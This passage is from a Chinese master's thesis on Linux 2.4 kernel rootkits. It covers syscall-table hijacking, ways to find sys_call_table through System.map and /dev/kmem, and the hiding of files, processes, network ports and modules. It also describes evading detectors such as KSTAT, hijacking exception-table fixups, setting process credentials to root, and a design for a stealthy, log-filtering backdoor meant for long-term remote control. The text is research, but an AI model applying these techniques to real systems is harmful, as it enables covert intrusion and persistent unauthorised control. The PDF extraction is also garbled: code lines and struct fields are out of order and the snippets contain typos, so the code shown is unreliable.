系统调用是内核提供的、功能十分强大的一系列函数,是用户程序与内核交互的一个接口,在内核中实现,然后通过一定的方式(库、陷入等)提供给用户。Linux 运行于两个模式下,即用户模式和内核模式,在内核模式下可以运行一些特权指令,运行在用户态的程序只有通过门(gate)陷入(trap)到系统内核中去,才能执行一些内核函数,完成相应的服务之后再返回到用户模式。这样在应用程序和硬件之间就增加了一个额外层次,不仅可以极大的提高系统的安全性,还把用户从学习硬件设备的低级编程特性中解放出来,增强程序的可移植性,图3-1表示系统调用的基本过程[5]:

用户态

xyz()

{

int 0x80

}

}在libc标准库中的封装

xyz();

system_call:

sys_xyz()

ret_from_sys_callint 0x80

}系统调用的处理程序

图3-1 系统调用的基本过程内核态

sys_xyz()

{

}

在应用程序中调用系统调用

系统调用服务程序

Fig 3-1 system call process

3.1.2 系统调用的环节及相关数据结构

分析系统调用中易受攻击的环节,系统调用可以分为五个重要的环节,分别代表了系统调用执行的每一个阶段,分别是:idtr、system_call、 system_call中调用的sys_call_table地址、sys_call_table中每一个函数指针、每一个系统调用函数

18

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

的内部代码。具体介绍如下:

(1) IDTR,Linux在保护模式下,中断向量表IDT在内存中的位置不再局限于从地址为0开始的地方,而是可以放在内存中的任何地方,为此,在CPU中又增设了一个寄存器IDTR,指向当前中断向量表IDT的基地址;

(2) 0x80的中断门system_call, 在中断向量表初始化时,在trap_init()中通过set_sysytem_gate(SYSCALL_VECTOR,&system_call)来设置,其中SYSCALL_VECTOR在include/asm_i386/hw_irq.h中定义为0x80,所以执行一条“INT 0x80”指令就是进行一次系统调用;

(3) sys_call_table为系统调用的跳转表,是一个函数指针数组,该数组是在arch/i386/kernel/entry.S中定义,跳转时以系统调用号为下标在数组中找到相应的函数指针,大小由在include/Linux/sys.h中定义的NR_syscalls决定,现为256。目前Linux共定义了221个系统调用,其余的可由用户自行定义;其具体格式如下:

ENTRY(sys_call_table)

. long SYMBOL_NAME(sys_ni_syscall)

. long SYMBOL_NAME (sys_exit)

. long SYMBOL_NAME (sys_fork)

. long SYMBOL_NAME (sys_read)

其中系统调用号是在文件include/asm/unistd.h中为每个系统调用定义的一个惟一的编号,部分编号格式如下:

# define __NR_exit 1

# define __NR_fork 2

# define __NR_read 3

# define __NR_write 4

# define__NR_open 5

(4) sys_call_table中每一个函数指针,如sys_fork、sys_exit等;

(5) 每一个系统调用函数的内部代码。

3.1.3系统调用的流程

系统调用主要包含以下过程[3]:

(1) 确定与中断或异常关联的向量i(0≦i≧255);

19

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

(2) 读由idtr寄存器指向的IDT表中的第i项;

(3) 从gdtr寄存器获得GDT的基地址,并在GDT中查找,以读取IDT表项中的选择符所标识的段描述符。这个描述符指定中断或异常处理程序所在段的基地址;

(4) 确定权限,首先将当前特权级CPL(存放在CS寄存器的低两位)与段描述符(存放在GDT中)的描述符特权级DPL比较, DPL必须大于等于CPL,否则产生一个“通用保护”异常;

(5) 通过执行int $0x80汇编语言指令,CPU切换到内核态,其过程如下:

(6) 通过堆栈指针及偏移量获取系统调用的参数并存入相应的寄存器,把系统调用号存入%eax寄存器(用寄存器而不是堆栈传递参数是因为当CPU从用户空间进入系统空间时,由于运行级别的变动,要从用户堆栈切换到系统堆栈,如果在INT指令之前把参数压入堆栈,那么参数保存在用户堆栈中,而尽管在切换后在内核空间内可以访问到用户的堆栈,但是实现复杂,效率低下);

(7) 执行中断指令int $0x80,CPU穿过陷阱门进入内核态,完成用户态到内核态的切换;

(8) 开始执行system_call()的代码,在arch/i386/kernel/entry.S中定义;

a. 先将寄存器%eax的内容压入堆栈;

b. 执行SAVE_ALL宏,把所有寄存器的内容都保存在堆栈中;

c. 执行GET_CURRENT宏,获取当前进程的task_struct结构指针;

d. 检查当前进程是否有执行此次系统调用的权限;

e. 如果通过检查则执行系统调用的服务程序,否则出错返回;

f. 服务程序将返回值写入寄存器%eax中,调用ret_from_sys_call返回;

g. 执行RESTORE_ALL恢复调用前寄存器的状态,即并开始执行系统调用号相对应的内核函数。

其过程[3]如图3-2所示:

20

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

IDT 中断向量表

中断向量i

中断门

IDTR

中断服务程序0中断服务程序1中断服务程序i…

中断服务程序128system_call()

系统调用处理程序保存寄存器

判断系统调用编号是否合法

位移

call *sys_call_table(0,%eax,4)

根据sys_call_table(系统调用表)和系统调用编号,找到系统调用处理程序,执行相应系统调用.

段描述项

GDTR

GDT

段基地址图3-2系统调用过程

Fig 3-2 system call process

3.2系统调用替换的要求

系统调用是系统实现其功能的重要手段,不同于其他的用户态进程,除非发生中断,在系统调用的过程中是不会让出CPU供其他的进程运行的。所以在替换后的系统调用中编程的原则是尽量简单迅速,而不应该在其中进行I/O操作或是其他有可能引起阻塞的操作。否则,如果在系统调用中阻塞的时间很长,则有可能导致系统性能大幅度下降,对于某些使用频繁的系统调用,可能会导致系统不稳定甚至死机。总的说来,替换系统调用有以下几个方面要求:

(1) 功能,替换后的系统调用必须能够实现原有系统调用的正常功能,而不至于影响到操作系统的正常运转,这是拦截系统调用最基本的要求;

(2) 性能,替换后的系统调用不应该对系统原有的性能产生很大的影响;

(3) 稳定性,替换原有系统调用后不应该和目标主机上原有的服务和进程产生冲突,进而影响系统的稳定性。

21

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

3.3 系统调用的替换方法

3.3.1 内核直接导出符号sys_call_table,利用lkm模块实现替换

Linux 2.4.18以前的内核直接导出符号sys_call_table,这使得在LKM模块中替换原有的系统调用成为可能。具体的作法是: 保存 sys_call_table[x]中所放置的系统调用函数入口指针(在这里x代表想要截获的系统调用的索引)。将自己定义的新的函数指针存入sys_call_table[x]。下面以sys_mk_dir为例,说明替换原有的系统调用的软件实现。在 init_module()函数中,首先用orig_mkdir保存原有的mkdir系统调用响应函数地址。然后将伪造的系统调用响应函数hacked_ mkdir的函数地址填入sys_call_table[SYS_mkdir]。在cleanup_module()函数中将系统调用表sys_call_table[]中mkdir系统调用对应的项sys_call_table[SYS_mkdir]恢复成为原有的值orig_mkdir。主要代码如下[12]:

extern void* sys_call_table[];/*声明使用系统本身的系统调用表*/

int (*orig_ mkdir)(const char *path); /*用于保存原始系统调用*/

int hacked_ mkdir(const char *path)

{

return 0; /*替换后的操作什么也不做*/

}

/*初始化模块*/

int init-module(void)

{

orig_mkdir=sys_call_table[sys_mkdir];

sys_call_table[sys_mkdir]=hacked_mkdir;

return 0;

}

/*卸载模块*/

void cleanup_module(void)

{

sys_calltable[SYS_mkdir]=orig_mkdir; /*恢复原始mkdir系统调用*/

22

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

}

3.3.2利用和vmLinux 获得sys_call_table地址

Linux在2.4.18版本以后的内核不再导出符号sys_call_table,我们可利用其它的方法获得sys_call_table的地址,主要通过两个文件,即vmlinuz和,其中vmlinuz是可引导的、压缩的内核,其中“vm”代表“Virtual Memory”, 通常位于/boot/vmlinuz,一般是在编译内核时通过“make zImage”创建或make bzImage创建,然后通过拷贝产生,在开头部分内嵌有gzip解压缩代码。由内核文件中包含的一个微型的gzip用于解压缩内核并引导它;是一个特定内核的内核符号表,是当前运行的内核的的链接。简单的通过命令:grep

sys_call_table /boot/ 或nm vmLinux-2.4.20-8|grep sys_call_table

就可以获得sys_call_table的地址,然后通过硬编码的方式,如得到的地址为:c030a0f0,按下面代码示意的方法就可以实现系统调用的替换:

/*声明系统调用表*/

void **sys_call_table;

int init_module()

{

sys_call_table=(void**)(0xc030a0f0);//设置系统调用表的首地址

orig_mkdir = sys_call_table[SYS_mkdir];//实现mk_dir的替换

}

3.3.3利用dev/kmem获得sys_call_table地址

在Linux中kmem是一个字符设备文件,是计算机主存的映象,可以用于测试和修改系统,通过读取这个设备文件可以得到内存中的数据,因此,通过它可以找到sys_call_table的地址。其方法是读取kmem中的内容,用sidt汇编指令进行模式匹配获取IDTR寄存器的值,如系统调用流程图所示,该寄存器指向当前中断向量表IDT的基地址,从该地址出发根据偏移量可以获得int $0x80中断描述符所在的位置,系统调用采用call sys_call_table(,eax,4)方法来实现具体的调用,其机器码是0xff 0x14 0x85,这样可以通过匹配确定sys_call_table的地址,其核心代码[11]如下:

23

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

asm(“sidt %0” “:=m” (idtr)) //读取idtr寄存器的值至idtr结构中

readkmem(&idt,+8*0x80,sizeof(idt)) //从IDT读出0x80向量

sys_call_off=(2<<16)1 //得到system_call函数的地址

readkmem(buff,sys_call_off,100) //读取system_call函数的前100字节至buff

//得到call语句对应机器码的地址

p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3)

sct=(unsigned *)(p+3) //得到sys_call_table的地址

3.4基于劫持系统调用的内核Rootkit实现

3.4.1文件的隐藏

Linux使用sys_getdents64()系统调用来获取目录下的文件和子目录信息,然后将这些信息返回给ls等命令程序进行显示,其原型为:int sys_getdents(unsigned int

fd, struct dirent *dirp,unsigned int count),其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。可以通过strace来观察,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls的流程。当查询文件或者目录的相关信息时,Linux系统用sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,修改该系统调用,去掉结果中与某些特定文件的相关信息,这样所有利用该系统调用的程序将不能显示该文件,从而达到隐藏的目的[7]。

getdents64()用Linux dirent64数据结构存放其信息。Linux dirent64数据结构的定义如下:

struct dirent64 {

实现文件隐藏步骤:

24

__u64 d_ino;//文件或目录对应的inode号

__s64 d_off;//偏移距离

unsigned short d_reclen;//结构体大小

char d_name[256];//文件或目录的文件名

};

unsigned char d_type;//

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

(1) 调用原来的sys_getdents64()并将所得到的文件和目录信息读入用户传入的参数dirp所指向的缓存中,同时得到count值;

(2) 在内核中申请内存dirent结构temp做为临时处理区域;

(3) 把dirp所指向的内容拷贝到temp所指向的临时处理区域中;

(4) 判断并处理temp中与所要隐藏的文件和目录名称相匹配的内容;

(5) 将处理后的temp所指向的dirent结构内容拷贝回dirp所指向的结构中;

(6) 返回给原来的调用程序。

3.4.2进程的隐藏

Proc是linux中的一个特殊的文件系统,其文件的内容不存在于任何设备上,只存在内存中,在读/写的时候根据系统中的有关信息动态生成,其主要内容包括:系统中的每个进程以其PID为名的子目录;系统中各种资源的管理信息;系统中各设备的有关信息;文件系统的信息;动态模块的信息等。在Linux中查询进程信息,如ps这样查询进程信息的命令是通过查询proc文件系统来实现的,利用了文件系统的接口实现,这样可以用隐藏文件的方法来隐藏proc文件系统中的文件,从而实现对进程信息的隐藏。

Proc做为文件系统,也同样具有super_block数据结构,其主设备号通过get_unnamed_dev()分配,为UNNAMED_MAJOR定义为0,不同于设备上的1号索引节点保留不用,用于proc文件系统的inode节点号总是1,这样用类似于文件隐藏的方法来实现进程的隐藏。其实现步骤如下:

(1) 用户用ps等命令查看进程信息;

(2) 读取proc文件系统中的进程相关信息;

(3) 得到该文件对应的inode结构dinode;

(4) 利用主设备号和inode节点号来判断该文件是否属于proc文件系统;

(5) 调用sys_getdents64()并将所得到的文件和目录信息读入用户传入的参数dirp所指向的缓存中,同时得到count值;

(6) 在内核中申请内存dirent结构temp做为临时处理区域;

(7) 把dirp所指向的内容拷贝到temp所指向的临时处理区域中;

(8) 判断并处理temp中与所要隐藏的文件和目录名称相匹配的内容;

(9) 将处理后的temp所指向的dirent结构内容拷贝回dirp所指向的结构中;

(10) 返回给原来的调用程序;

25

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

(11) 对当前被隐藏进程的子进程实行隐藏。

3.4.3网络连接的隐藏

在Linux中proc目录下/net/tcp和net/udp文件是用来存放系统网络连接信息的文件。通常查看网络连接的信息是利用netstat命令,该命令通过读取/proc/net/tcp和/proc/net/udp文件的信息来进行网络连接状态的显示。

网络连接隐藏的实现步骤如下:

(1) 设定需要隐藏的tcp 端口和udp端口;

(2) 对系统调用sys_read()进行替换;

(3) 先调用系统原有的sys_read()系统调用,判断文件是否为/proc/net/tcp或/proc/net/udp,如不是则正常返回用户调用程序;

(4) 若是/proc/net/tcp或/proc/net/udp则获取文件内容;

(5) 申请新的缓存,将所获取的文件内容根据设定的端口信息进行过滤;

(6) 将过滤后的信息拷贝到新的缓存中,并返回给用户调用程序;

3.4.4模块本身的隐藏

利用LKM技术插入一个模块时,若不采取隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来实现的rootkit功能就失去作用。Linux中用lsmod或通过/proc/modules来查看已加载模块的信息,实际上用来查询模块信息通过系统调用sys_query_module来完成,所以可以通过修改该系统调用达到隐藏特定模块的目的。查询模块系统调用的原型为:

asmlinkage long sys_query_module(const char *name_user, int which, char *buf,

size_t bufsize, size_t *ret)

其中参数which说明查询的类型,当which=QM_MODULES时,返回所有当前已插入的模块名称,存入缓冲区buff, 并且在ret中存放模块的个数,buffsize是buf缓冲区的大小。在模块隐藏的过程中只需要对sys_query_module来劫持替换,就可实现模块的隐藏,其实现方法如下:

(1) 对sys_query_module进行替换;

(2) 在替换后的函数中,首先调用初始的系统调用;

(3) 如果which不等于QM_MODULES,则直接返回;

(4) 申请新的缓冲区,将正常返回的buf内容拷贝到新的缓冲区内;

(5) 在拷贝过程中对指定需隐藏的模块名进行过滤,并将后面的模块名称

26

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

向前覆盖;

(6) 完成新的缓冲区构建后,将处理后的缓冲区指针返回给调用程序。

3.5系统调用劫持的检测

检测是解决Rootkit的一个重要环节。针对不同类型的Rootkit,其有效检测手段也不相同,对于用户空间的文件替换隐藏技术如替换系统中重要的可执行文件,比较有效的方法是使用数字签名技术,即对每个二进制文件生成加密意义上的校验和同时把所得结果以某种安全的方式存放起来,如果攻击者替换了正常的系统文件.那么替换后的文件校验和就会发生变化,目前常用的校验和生成工具有Tripwire、md5sum和aide等,如Tripwire首先使用特定的特征码函数为需要监视的系统文件和目录建立一个特征数据库,特征码函数就是使用任意的文件做为输入,产生一个固定大小的数据(特征码)的函数,入侵者如果对文件进行了修改,即使文件大小不变,也会破坏文件的特征码,利用这个数据库,Tripwire可以很容易地发现系统的变化,而且文件的特征码几乎是不可能伪造的,系统的任何变化都逃不过Tripwire的监视,系统管理员利用这些工具可以比较校验和来判定系统是否被安装了Rootkit。

对于工作在内核空间的Rootkit,上述方法基本上不起作用,此时必须通过其它方法来确定内核是否被修改。比较常用的工具有KSTAT,它通过读取/dev/kmem文件来获得系统信息。KSTAT为用户提供了许多选项来检测Rootkit,其中-s选项是最有效的检测方式,该选项向用户提供了系统调用表sys_call_table的基本信息,如果有系统调用被修改它就会向用户发出警告并指示被修改过的系统调用;-P是另一个很有效的选项,这个选项列出当前在系统中运行的所有进程,包括被LKM

Rootkit隐藏的进程;kstat -p可以给出某个进程更多的信息,要使用kstat -p首先要给出进程的id,例如,kstat -p 232, 将列出该进程的详细信息;kstat –M,通常情况下,系统管理员可以使用lsmod或者/proc/modules发现系统中加载了哪些LKM,但是,如果系统被植入了Rootkit后,lsmod提供的信息就不在可靠了,kstat

-M可以搜索到系统中许多LKM的基本信息,并列出系统所有已经加载的模块[13]。实践中对于利用KSTAT来检测内核Rootkit是比较有效的方式。

27

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

3.6可以躲避检测的改进方法

3.6.1获取内核内存

在内核中是通过kmalloc()函数来申请内存空间的,在支持lkm情况下,可以采用如下方法来搜索kmalloc()函数的地址[14]:

ulong get_sym(char*n)

{

struct kernel_sym tab[MAX_SYMS];

int numsyms;

numsyms = get_kernel_syms(NULL);

if(numsyms > MAX_SYMS||numsyms <0) retrun 0;

get_kernel_syms(tab);

for(int i=0;i

{

if(!strncmp(n,tab[i].name,strlen(n)))

retrun tab[i].value;

}

return 0;

}

在不支持lkm情况下的基础上可采用Silvio Cesare的思想[15]搜索kmalloc()函数的地址,即通过遍历内核的.text段进行搜索,然后,把搜索结果收集到表中进行排序,出现次最多的就是kmalloc()函数地址。在获得内核内存后,就可以建立我们的Rootkit代码,并通过在原有的系统调用中插入跳转指令来转移到Rootkit代码处执行。

3.6.2在系统调用中插入代码

由于很多工具可以检测系统调用表sys_call_table数组内系统调用首地址的改动,所以可以通过不更改系统调表,而采用调整系统调用代码的方法,可实现系

28

上海交通大学硕士学位论文 第三章 基于系统调用替换的内核Rootkit分析与实现

统调用的替换功能同时增强一定程度的隐蔽性,其基本思想是用新的系统调用代码来替换原有的系统调用代码,保持系统调用首地址的不变,这样在系统调用执行后就会跳转到新的系统调用代码处,如需调用原来的功能,只需在新的系统调用中回调原来的系统调用代码,从而实现Rootkit功能[16]。其实现步骤为:

(1) 保存sys_call_table[x]内代码地址;

(2) 用新的代码来替换sys_call_table[x]内代码的地址;

(3) 在新的代码中设置跳转指针,跳转到我们设置的Rootkit代码地址;

(4) 在Rootkit代码中回调原sys_call_table[x]内我们所保存的地址;

(5) 在完成功能后恢复sys_call_table[x]内代码地址。

3.7本章小结

本章分析了通过系统调用替换实现内核Rootkit的方法,从系统调用的原理出发,逐个步骤的分析了系统调用的过程,介绍了系统调用替换的方法,最后,分析了当前常用的检测软件和检测方法,提出了躲避检测的改进方法。

29

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

第四章 基于异常处理的内核Rootkit分析与实现

4.1 Linux 的异常处理

4.4.1概述

异常是指系统、处理器或当前执行程序(或任务)的某处出现一个事件,该事件需要处理器进行处理[3]。通常会导致执行控制被强迫从当前运行程序转移到异常处理程序(exception handler)的特殊软件函数或任务中。处理器响应异常所采取的行动称为异常处理。对于应用程序和操作系统来说,异常处理机制可以透明的处理发生的异常事件。当检测到一个异常时,处理器会自动地把当前正在执行的程序或任务挂起,并开始运行异常处理程序,当处理程序执行完毕,处理器就会恢复并继续执行被中断的程序或任务,并保持原程序或任务执行的连贯性。异常通常有两个来源,即由处理器检测到的程序错误异常和软件中的指令性异常。根据异常被报告的方式以及导致异常的指令是否能够被重新执行,可分为故障(fault)、陷阱(trap)和中止(abort)三种。

Fault是一种通常可以被纠正的异常,并在纠正后可以正常运行,异常处理程序返回地址为产生fault的指令;trap是引起陷阱的指令被执行后报告的异常,异常处理程序返回指向陷阱指令的后一条指令;abort用于报告严重错误,并且不允许导致异常的程序重新执行。

4.4.2异常相关的数据结构

在模块和内核编译之后,均以可执行文件格式的形式存在,在模块和内核中引入了异常处理表,结构体{

};

其中包含了异常处理的地址对,insn指可能出现异常的程序指令,fixup是出现异常后的修复地址[18]。

模块的定义在include/Linux/module.h中,部分如下:

struct module

unsigned long insn, fixup;

exception_table_entry的定义在include/asm-i386/uaccess.h[17]中,struct exception_table_entry

30

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

{

unsigned long size_of_struct; /* == sizeof(module) */

struct module *next;

int (*init)(void);

void (*cleanup)(void);

};

内核模块的在Linux/kernel/module.c[17]中定义:

struct module kernel_module =

{

size_of_struct: sizeof(struct module),

name: "",

uc: {ATOMIC_INIT(1)},

flags: MOD_RUNNING,

syms: __start___ksymtab,

ex_table_start: __start___ex_table,

ex_table_end: __stop___ex_table,

kallsyms_start: __start___kallsyms,

kallsyms_end: __stop___kallsyms,

};

const struct exception_table_entry *ex_table_start;

const struct exception_table_entry *ex_table_end;

const char *archdata_end;

const char *kernel_data; /* Reserved for kernel internal use */

4.2 异常处理流程

在Linux中发生异常后,按以下步骤执行[5]:

(1) 芯片置位,产生一个异常中断;

(2) 跳转到ENTRY(general_protection)处

31

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

(3) 进入异常中断入口,执行do_general_protection;

(4) 由异常处理程序判断异常源,来自用户空间的异常,提交给用户程序的回调函数处理;

(5) 来自内核空间的异常,根据异常时的eip搜索异常处理地址,fixup =

search_exception_table(regs->eip);

(6) 找到异常处理地址,修改中断返回地址,中断返回时跳到异常处理程序处regs->eip = fixup;

(7) 没找到异常处理程序地址,显示内核异常信息后死机。

异常处理如图4-1:

发生异常

ENTRY(general_protection)do_general_protection内核空间用户空间判断来源search_exception_table(regs->eip)产生异常信号

提交回调函数

yes

查找修复地址no

regs->eip = fixup内核异常死机通知用户程序处理图4-1 异常处理流程

Fig 4-1 expection deal flow

下面代码摘自内核源文件,为异常处理中的搜索文件,搜索异常处理程序代码文件[17]extable.c

/* Linux/arch/i386/mm/extable.c*/

#include

32

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

#include

#include

#include

extern const struct exception_table_entry __start___ex_table[];

extern const struct exception_table_entry __stop___ex_table[];

static inline unsigned long

search_one_table(const struct exception_table_entry *first,//搜索一个模块的异常表

{

while (first <= last) {

const struct exception_table_entry *mid;

mid = (last - first) / 2 + first;

diff = mid->insn - value;

long diff;

const struct exception_table_entry *last,

unsigned long value)

if (diff == 0)

return mid->fixup;

else if (diff < 0)

first = mid+1;

else

last = mid-1;

}

return 0;

}

extern spinlock_t modlist_lock;

unsigned long

search_exception_table(unsigned long addr)//遍历模块

33

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

{

unsigned long ret = 0;

#ifndef CONFIG_MODULES

/* There is only the kernel to search. */

ret = search_one_table(__start___ex_table, __stop___ex_table-1, addr);

return ret;

#else

unsigned long flags;

/* The kernel is the last "module" -- no need to treat it special. */

struct module *mp;

for (mp = module_list; mp != NULL; mp = mp->next) {

if ( mp->ex_table_start==NULL

|| !(mp->flags&(MOD_RUNNING|MOD_INITIALIZING)))

continue;

ret = search_one_table(mp->ex_table_start,

mp->ex_table_end - 1, addr);

spin_lock_irqsave(&modlist_lock, flags);

if (ret)

break;

}

spin_unlock_irqrestore(&modlist_lock, flags);

return ret;

#endif

}

搜索异常处理程序的算法为,根据模块的链表,遍历模块,调用搜索表search_one_table函数,根据发生异常时候保存的eip指针具体对一个模块的异常处理表进行搜索,发现匹配后,返回对应的异常处理指针,否则显示内核异常信息后死机。

34

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

4.3内核异常处理的编程方法

在内核中的异常处理由程序员根据异常可能发生的情况预先定义,通过汇编器as提供的扩展功能将修复指令写进内核源码中[19]。在as中提供的.section伪操作,其指令格式为:

.section NAME[, “FLAGS”]

在Linux内核中,通过使用.section的伪操作,可以把随后的代码汇编到一个由NAME指定的段中。而FLAGS字段则说明了该段的属性,可以是下面单个字符,也可以是多个字符的组合。

'a' 可重定位的段;

'w' 可写段;

'x' 可执行段;

'W' 可合并的段;

's' 共享段。

例如:.section .fixup, “ax”。该指令定义了一个名为.fixup的段,该段的属性是可重定位并可执行。

举例说明异常修复地址对是如何生成与纠正的:

include/asm-i386/uaccess.h[17]中的宏定义__copy_user[3],这段代码的主要功能是将from处长度为size的数据复制到to处。

#define __copy_user(to,from,size)

do {

int __d0, __d1;

//声明内联汇编

__asm__ __volatile__(

"0: rep; movsln" //将size/4个4字节从from复制到to

" movl %3,%0n" //将size&3,即size/4后余下的余数,复制到ecx

"1: rep; movsbn" //根据ecx中的数量,从from复制数据到to

"2:n" //复制结束

".section .fixup,"ax"n" //异常处理段的定义

"3: lea 0(%3,%0,4),%0n"

35

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

" jmp 2bn"

".previousn"

".section __ex_table,"a"n" //异常表的定义

" .align 4n" //对齐

" .long 0b,3bn"

" .long 1b,2bn"

".previous"

: "=&c"(size), "=&D" (__d0), "=&S" (__d1) //输出部的约束条件

: "r"(size & 3), "0"(size / 4), "1"(to), "2"(from) //输入部的约束条件

: "memory");

} while (0)

section .fixup,"ax";.section __ex_table,"a";将这两个.section和.previous中间的代码汇编到各自定义的段中,将这之后的代码汇编到.text段中,也就是自定义段之前的段。例子中__ex_table异常表的安排在用户空间是不会得到执行的,它只在内核中有效,当在标号0处出现异常时,将会跳转到3处执行,在1处出现异常时,跳转到2处执行。将.fixup段和.text段独立开来的目的是为了提高CPU流水线的利用率。如果将.fixup段的指令安排在正常执行的.text段中,当程序执行到前面的指令时,这几条很少执行的指令会被预取到流水线中,正常的执行必然会引起流水线的排空操作,这显然会降低整个系统的性能。

4.4异常的触发

触发异常的方法较为容易实现,基本思想是在改变了异常处理表中一个fixup地址的基础上,然后在用户空间用合适的地址参数(即可以引起异常)来调用一个系统调用,这样,当在用户空间以该参数执行应用程序时,在进行异常修复后,系统就会跳转[20]到我们所精心设定的Rootkit功能函数中。

4.5异常处理指针的替换

在模块的异常表里,异常与修正地址成对出现,我们只需对指定的fixup地址进行替换,就可以使程序在内核中发生异常时跳转到我们精心构造的函数中,从而实现特定的功能。对一个模块来说,首先选定模块异常表的起始地址,即ex_table_start与ex_table_end,假定在内核中触发的异常跳转地址定义为fault,即

36

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

如图4-2所示:

ex_table_start

insn fixup

fault fixup

ex_table_end

替换前

异常表起始地址

异常表起始地址

异常地址 修复地址触发异常地址 修复地址

ex_table_start…

insn fixup

fault myfuction异常地址 修复地址

触发异常地址 修复地址

异常表结束地址

ex_table_end替换后

异常表结束地址

图4-2异常处理指针的替换

Fig 4-2 exception pointer replacing

在模块中利用一个循环遍历异常表,当发现异常触发地址相匹配时,对异常处理指针进行替换,核心代码[21,22]如下:

#define START=ex_table_start;

#define END=ex_table_end;

#define FAULT=fault;

for( ; insn < ex_table_start; insn += 2*sizeof(unsigned long))

{

fixup = insn + sizeof(unsigned long);

if ( *(unsigned long*)fixup ==FAULT)

*(unsigned long*)fixup = (unsigned long)myfuction;//实现替换

}

这样在触发指定的异常后,就会跳转到我们设置的函数中执行。

37

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

4.6利用异常实现Rootkit

4.6.1加载和缺载模块

在模块的入口init_module中定义异常触发点FAULT,为了能保证在替换后,真正的异常到来时,内核仍能正确处理,实现异常的修正,首先保存触发点FAULT及相对应的异常修复地址fixup,在myfuction中加以判断,当异常来自我们的触发,则执行我们设置的函数,否则跳转到真正的异常修复地址fixup处执行,在模块的加载前后程序运行的基本流程如下图:

触发异常

内核异常

跳转到FAULT处触发异常

内核异常

跳转到FAULT处

执行myfunction

触发异常执行fixup

判断异常源

模块加载前执行Rootkit

跳转执行fixup模块加载后

图4-3 模块加载前后比较

Fig 4-3 contraposition between module install and uninstall

4.6.2 myfunction函数的定义

myfunction函数做为rootktit的功能函数可以实现多种功能,当程序通过异常修复地址更改跳转到myfunction函数后即可以进行设定。

(1) 提升权限,在程序中加上以下代码,即可直接提升调用Rootkit函数的进程权限;

current->uid = 0;

current->suid = 0;

38

上海交通大学硕士学位论文 第四章 基于异常处理的内核Rootkit分析与实现

current->euid = 0;

current->gid = 0;

current->egid = 0;

current->fsuid = 0;

current->fsgid = 0;

(2) 在系统中重建系统调用表,通过更改Interrupt Descriptor Table,可以获得参考点,通过相对偏移量,并应用第三章系统调用的更改方法,进而找到系统调用表的地址;在获得系统调用表的地址后,即可以通过重建系统调用表、可改写系统调用的方法实现各种Rootkit功能,如文件隐藏、进程隐藏、网络连接隐藏等应用[21]。

long idtr;

long __idt_table;

__asm__ __volatile__("sidt %0n" : : "m"(idtr));

__idt_table = idtr >> 16;

4.7本章小结

本章利用了Linux独特的异常处理机制,在分析linux异常处理流程与机制的基础上,对__ex_table中异常处理指针进行了修改,并精心设计实现Rootkit功能,是一种较为隐蔽的Rootkit实现方法,具有较强的生存能力和实用价值。

39

上海交通大学硕士学位论文 第五章 基于LINUX VFS的内核Rootkit分析与实现

第五章 基于LINUX VFS的内核Rootkit整体设计与实现

5.1概述

5.1.1 系统设计的目的和要求

在网络攻防的领域中,内核Rootkit是一个重要的研究方向,关系到系统最基本的安全体系结构,目前各种流行的网络攻击和控制工具,或者针对性不强或者容易被检测工具发现,而且网上的一些关于内核Rootkit的资料比较零散、不够准确。本课题基于Linux远程控制平台项目,是该项目中的重要组成部分,是在其它模块突破远程系统并获取操作系统的root权限后,完成隐蔽后门的安装,保留root权限,并与用户态的木马相配合,实现对远程系统的长期控制目的。在完成项目的同时,也为今后内核Rootkit的研究打下一个基础。内核Rootkit需满足下列要求:

(1) 隐蔽性。能够在目标主机上长期潜伏而不被发现,这就要求Rootkit不但能够逃避管理员在用户态一级所做的任何检测,而且也要有能力逃避专用的检测Rootkit工具的检测;

(2) 稳定性。不仅能够在目标主机上稳定的发挥作用,完成既定的功能,同时不会对系统的功能和效率造成损害,不会与系统原有的服务发生冲突;

(3) 兼容性。Linux内核版本众多,要能够根据实际情况进行灵活的配置,能够运行在尽可能多的环境下,使得应用范围尽可能的大;

(4) 安全性。要有对使用内核Rootkit的用户权限进行验证的功能,防止被滥用;

(5) 易用性。在rookit的设计过程中应该充分考虑到它的易用性和用户友好性,最大效能的发挥它的作用;

5.1.2 系统的功能

系统应具有以下功能:

(1) 文件隐藏。对指定的文件和目录能够实现隐藏和取消隐藏;

(2) 进程隐藏。隐藏和取消隐藏指定的进程。同时若是一个进程被隐藏,它所产生的所有子进程都将被隐藏;

(3) 提升权限。当用户以普通身份登录后,可以通过特定的行为获得root

40

上海交通大学硕士学位论文 第五章 基于LINUX VFS的内核Rootkit分析与实现

权限;

(4) 网络连接端口隐藏。对攻击者的网络连接信息进行隐藏,用netstat等工具不可见;

(5) 日志过滤。对攻击者的行为不进行日志的记录,防止系统管理员的分析和追踪;

(6) 模块的加载和卸载。用户登陆目标机以后可以用该命令将Rootkit的模块手动加载和卸载;

